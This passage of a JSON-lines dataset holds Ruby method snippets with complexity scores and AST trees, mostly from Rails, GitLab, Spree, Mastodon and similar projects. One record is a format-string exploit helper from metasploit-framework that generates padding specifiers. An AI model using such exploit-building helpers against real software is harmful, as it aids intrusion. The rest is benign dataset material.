end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"usernames\",{\"type\":\"args\",\"children\":[]},{\"type\":\"numblock\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"references\"]},\"map\"]},1,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"_1\"]},\"delete_prefix\",{\"type\":\"str\",\"children\":[\"@\"]}]}]}]}","id":"eebc7918-d5ba-41e3-b0d0-eeda5945a298"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/date/calculations.rb","start_line":100,"raw_source":"def minus_with_duration(other) # :nodoc:\n if ActiveSupport::Duration === other\n plus_with_duration(-other)\n else\n minus_without_duration(other)\n end\n end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"minus_with_duration\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Duration\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"other\"]}]},{\"type\":\"send\",\"children\":[null,\"plus_with_duration\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"-@\"]}]},{\"type\":\"send\",\"children\":[null,\"minus_without_duration\",{\"type\":\"lvar\",\"children\":[\"other\"]}]}]}]}","id":"a6cdb435-8dc5-4609-81de-64f55d7a812b"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/string_literals_help.rb","start_line":24,"raw_source":"def enforce_double_quotes?\n string_literals_config['EnforcedStyle'] == 'double_quotes'\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"enforce_double_quotes?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"string_literals_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"EnforcedStyle\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"double_quotes\"]}]}]}","id":"0cf30fad-820b-469a-8d16-826cdb01e3e5"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/hashed_storage/base_attachment_service.rb","start_line":19,"raw_source":"def initialize(project:, old_disk_path:, logger: nil)\n @project = project\n @old_disk_path = old_disk_path\n @logger = logger || Gitlab::AppLogger\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"project\"]},{\"type\":\"kwarg\",\"children\":[\"old_disk_path\"]},{\"type\":\"kwoptarg\",\"children\":[\"logger\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@old_disk_path\",{\"type\":\"lvar\",\"children\":[\"old_disk_path\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@logger\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logger\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppLogger\"]}]}]}]}]}","id":"a9fd419c-1105-43f8-94e2-b320cef009fb"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":2215,"raw_source":"def has_secret_detection_reports?\n if Feature.enabled?(:show_child_security_reports_in_mr_widget, project)\n !!diff_head_pipeline&.complete_or_manual? &&\n pipeline_has_report_in_self_or_descendants?(:secret_detection)\n else\n !!diff_head_pipeline&.complete_or_manual_and_has_reports?(::Ci::JobArtifact.of_report_type(:secret_detection))\n end\n end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"has_secret_detection_reports?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"show_child_security_reports_in_mr_widget\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"diff_head_pipeline\"]},\"complete_or_manual?\"]},\"!\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"pipeline_has_report_in_self_or_descendants?\",{\"type\":\"sym\",\"children\":[\"secret_detection\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"diff_head_pipeline\"]},\"complete_or_manual_and_has_reports?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"JobArtifact\"]},\"of_report_type\",{\"type\":\"sym\",\"children\":[\"secret_detection\"]}]}]},\"!\"]},\"!\"]}]}]}","id":"46d7c6b3-d003-4d32-9cf5-56d79c1c39f2"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/exception_log_formatter.rb","start_line":6,"raw_source":"def format!(exception, payload)\n return unless exception\n\n # Elasticsearch/Fluentd don't handle nested structures well.\n # Use periods to flatten the fields.\n payload.merge!(\n 'exception.class' => exception.class.name,\n 'exception.message' => sanitize_message(exception)\n )\n\n if exception.backtrace\n payload['exception.backtrace'] = Rails.backtrace_cleaner.clean(exception.backtrace)\n end\n\n if exception.cause\n payload['exception.cause_class'] = exception.cause.class.name\n end\n\n if gitaly_metadata = find_gitaly_metadata(exception)\n payload['exception.gitaly'] = gitaly_metadata.to_s\n end\n\n if sql = find_sql(exception)\n payload['exception.sql'] = sql\n end\n end","complexity_score":28.9,"ast_json":"{\"type\":\"def\",\"children\":[\"format!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exception\"]},{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"exception.class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"exception.message\"]},{\"type\":\"send\",\"children\":[null,\"sanitize_message\",{\"type\":\"lvar\",\"children\":[\"exception\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"backtrace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"exception.backtrace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"backtrace_cleaner\"]},\"clean\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"backtrace\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"cause\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"exception.cause_class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"cause\"]},\"class\"]},\"name\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"gitaly_metadata\",{\"type\":\"send\",\"children\":[null,\"find_gitaly_metadata\",{\"type\":\"lvar\",\"children\":[\"exception\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"exception.gitaly\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gitaly_metadata\"]},\"to_s\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"send\",\"children\":[null,\"find_sql\",{\"type\":\"lvar\",\"children\":[\"exception\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"exception.sql\"]},{\"type\":\"lvar\",\"children\":[\"sql\"]}]},null]}]}]}","id":"bf50d7f7-f314-4ae0-a6d5-f9a559838fc1"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/label.rb","start_line":106,"raw_source":"def self.prioritized(project)\n joins(:priorities)\n .where(label_priorities: { project_id: project })\n .reorder('label_priorities.priority ASC, labels.title ASC')\n end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"prioritized\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"joins\",{\"type\":\"sym\",\"children\":[\"priorities\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label_priorities\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]}]}]},\"reorder\",{\"type\":\"str\",\"children\":[\"label_priorities.priority ASC, labels.title ASC\"]}]}]}","id":"73091276-2ee6-4661-9edd-7814c3797888"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/documentation.rb","start_line":174,"raw_source":"def allowed_constants\n @allowed_constants ||= cop_config.fetch('AllowedConstants', []).map(&:intern)\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_constants\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@allowed_constants\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_config\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"AllowedConstants\"]},{\"type\":\"array\",\"children\":[]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"intern\"]}]}]}]}]}","id":"19d5b31e-7080-45b7-82ee-ae6fb6948750"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/address.rb","start_line":235,"raw_source":"def geocoder_address\n @geocoder_address ||= [street, city, state_text, country.to_s].compact.map(&:strip).join(', ')\n end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"geocoder_address\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@geocoder_address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"street\"]},{\"type\":\"send\",\"children\":[null,\"city\"]},{\"type\":\"send\",\"children\":[null,\"state_text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"country\"]},\"to_s\"]}]},\"compact\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"strip\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}","id":"c3547d73-3fde-40a8-9453-39866e76ba1e"} {"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20200510181721_remove_duplicated_indexes_pghero.rb","start_line":4,"raw_source":"def up\n remove_index :account_conversations, name: :index_account_conversations_on_account_id if index_exists?(:account_conversations, :account_id, name: :index_account_conversations_on_account_id)\n remove_index :account_identity_proofs, name: :index_account_identity_proofs_on_account_id if index_exists?(:account_identity_proofs, :account_id, name: :index_account_identity_proofs_on_account_id)\n remove_index :account_pins, name: :index_account_pins_on_account_id if index_exists?(:account_pins, :account_id, name: :index_account_pins_on_account_id)\n remove_index :announcement_mutes, name: :index_announcement_mutes_on_account_id if index_exists?(:announcement_mutes, :account_id, name: :index_announcement_mutes_on_account_id)\n remove_index :announcement_reactions, name: :index_announcement_reactions_on_account_id if index_exists?(:announcement_reactions, :account_id, name: :index_announcement_reactions_on_account_id)\n remove_index :bookmarks, name: :index_bookmarks_on_account_id if index_exists?(:bookmarks, :account_id, name: :index_bookmarks_on_account_id)\n remove_index :markers, name: :index_markers_on_user_id if index_exists?(:markers, :user_id, name: :index_markers_on_user_id)\n end","complexity_score":21.7,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_exists?\",{\"type\":\"sym\",\"children\":[\"account_conversations\"]},{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"index_account_conversations_on_account_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"account_conversations\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"index_account_conversations_on_account_id\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_exists?\",{\"type\":\"sym\",\"children\":[\"account_identity_proofs\"]},{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"index_account_identity_proofs_on_account_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"account_identity_proofs\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"index_account_identity_proofs_on_account_id\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_exists?\",{\"type\":\"sym\",\"children\":[\"account_pins\"]},{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"index_account_pins_on_account_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"account_pins\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"index_account_pins_on_account_id\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_exists?\",{\"type\":\"sym\",\"children\":[\"announcement_mutes\"]},{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"index_announcement_mutes_on_account_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"announcement_mutes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"index_announcement_mutes_on_account_id\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_exists?\",{\"type\":\"sym\",\"children\":[\"announcement_reactions\"]},{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"index_announcement_reactions_on_account_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"announcement_reactions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"index_announcement_reactions_on_account_id\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_exists?\",{\"type\":\"sym\",\"children\":[\"bookmarks\"]},{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"index_bookmarks_on_account_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"bookmarks\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"index_bookmarks_on_account_id\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_exists?\",{\"type\":\"sym\",\"children\":[\"markers\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"index_markers_on_user_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"markers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"index_markers_on_user_id\"]}]}]}]},null]}]}]}","id":"aa52bb06-f2cf-4b40-95e4-5098b370ffbf"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/notification_service.rb","start_line":526,"raw_source":"def updated_member_access_level(member)\n return true unless member.notifiable?(:mention)\n\n mailer.member_access_granted_email(member.real_source_type, member.id).deliver_later\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"updated_member_access_level\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"member\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member\"]},\"notifiable?\",{\"type\":\"sym\",\"children\":[\"mention\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mailer\"]},\"member_access_granted_email\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member\"]},\"real_source_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member\"]},\"id\"]}]},\"deliver_later\"]}]}]}","id":"183c6d8b-1884-4a85-ad8f-7e6ea57be83a"} {"repo_name":"manageiq","file_path":"./repos/manageiq/lib/ansible/runner/response.rb","start_line":34,"raw_source":"def return_code\n @return_code ||= load_return_code\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"return_code\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@return_code\"]},{\"type\":\"send\",\"children\":[null,\"load_return_code\"]}]}]}","id":"4d5545b1-0fb0-4a5e-ae2f-9100c6f7d701"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/discourse_connect_base.rb","start_line":161,"raw_source":"def payload(secret = nil)\n payload = Base64.strict_encode64(unsigned_payload)\n \"sso=#{CGI.escape(payload)}&sig=#{sign(payload, secret)}\"\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"payload\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"secret\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"strict_encode64\",{\"type\":\"send\",\"children\":[null,\"unsigned_payload\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"sso=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"escape\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]},{\"type\":\"str\",\"children\":[\"&sig=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sign\",{\"type\":\"lvar\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"secret\"]}]}]}]}]}]}","id":"858ceed5-ddbd-4f70-84db-551a83fc00df"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/format_string.rb","start_line":236,"raw_source":"def fmtstr_advance_count(prec)\n\n # no need to advance :)\n return \"\" if prec == 0\n\n # assuming %x max normal length is 8...\n if prec >= 8\n return \"%0\" + prec.to_s + \"x\"\n end\n\n # anything else, we just put some chars in...\n return rand_text(prec)\n end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fmtstr_advance_count\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prec\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prec\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prec\"]},\">=\",{\"type\":\"int\",\"children\":[8]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%0\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prec\"]},\"to_s\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"x\"]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text\",{\"type\":\"lvar\",\"children\":[\"prec\"]}]}]}]}]}","id":"1b3d643e-8513-4f3e-957a-d90ff572c886"} {"repo_name":"spree","file_path":"./repos/spree/emails/app/mailers/spree/order_mailer.rb","start_line":3,"raw_source":"def confirm_email(order, resend = false)\n @order = order.respond_to?(:id) ? order : Spree::Order.find(order)\n current_store = @order.store\n subject = (resend ? \"[#{Spree.t(:resend).upcase}] \" : '')\n subject += \"#{current_store.name} #{Spree.t('order_mailer.confirm_email.subject')} ##{@order.number}\"\n mail(to: @order.email, from: from_address, subject: subject, store_url: current_store.url_or_custom_domain, reply_to: reply_to_address)\n end","complexity_score":22.9,"ast_json":"{\"type\":\"def\",\"children\":[\"confirm_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"order\"]},{\"type\":\"optarg\",\"children\":[\"resend\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@order\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"lvar\",\"children\":[\"order\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Order\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"order\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"current_store\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"store\"]}]},{\"type\":\"lvasgn\",\"children\":[\"subject\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resend\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"sym\",\"children\":[\"resend\"]}]},\"upcase\"]}]},{\"type\":\"str\",\"children\":[\"] \"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subject\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_store\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"str\",\"children\":[\"order_mailer.confirm_email.subject\"]}]}]},{\"type\":\"str\",\"children\":[\" #\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"number\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"mail\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"send\",\"children\":[null,\"from_address\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"lvar\",\"children\":[\"subject\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"store_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_store\"]},\"url_or_custom_domain\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reply_to\"]},{\"type\":\"send\",\"children\":[null,\"reply_to_address\"]}]}]}]}]}]}","id":"53693425-4abf-41fe-a2ec-646e0ec8b0fe"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/testing/integration.rb","start_line":180,"raw_source":"def https!(flag = true)\n @https = flag\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"https!\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"flag\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@https\",{\"type\":\"lvar\",\"children\":[\"flag\"]}]}]}","id":"1800c83c-8ddb-4c22-85c6-ad537f3e4007"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/public/api/v1/inboxes_controller.rb","start_line":18,"raw_source":"def set_contact_inbox\n return if params[:contact_id].blank?\n\n @contact_inbox = @inbox_channel.inbox.contact_inboxes.find_by!(source_id: params[:contact_id])\n end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"set_contact_inbox\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"contact_id\"]}]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"ivasgn\",\"children\":[\"@contact_inbox\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inbox_channel\"]},\"inbox\"]},\"contact_inboxes\"]},\"find_by!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"contact_id\"]}]}]}]}]}]}]}]}","id":"250154bb-bef9-4e48-b2d0-4f3c6a508d48"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/database/migration_checksum_checker.rb","start_line":55,"raw_source":"def format_error_result(issues)\n message = issues.map do |file, issue_type|\n \"#{issue_type} for migration: #{file}\\n\"\n end.join('')\n\n Result.new(ERROR_CODE, \"\\e[31mError: Issues found with migration checksum files\\n\\n#{message}\\e[0m\")\n 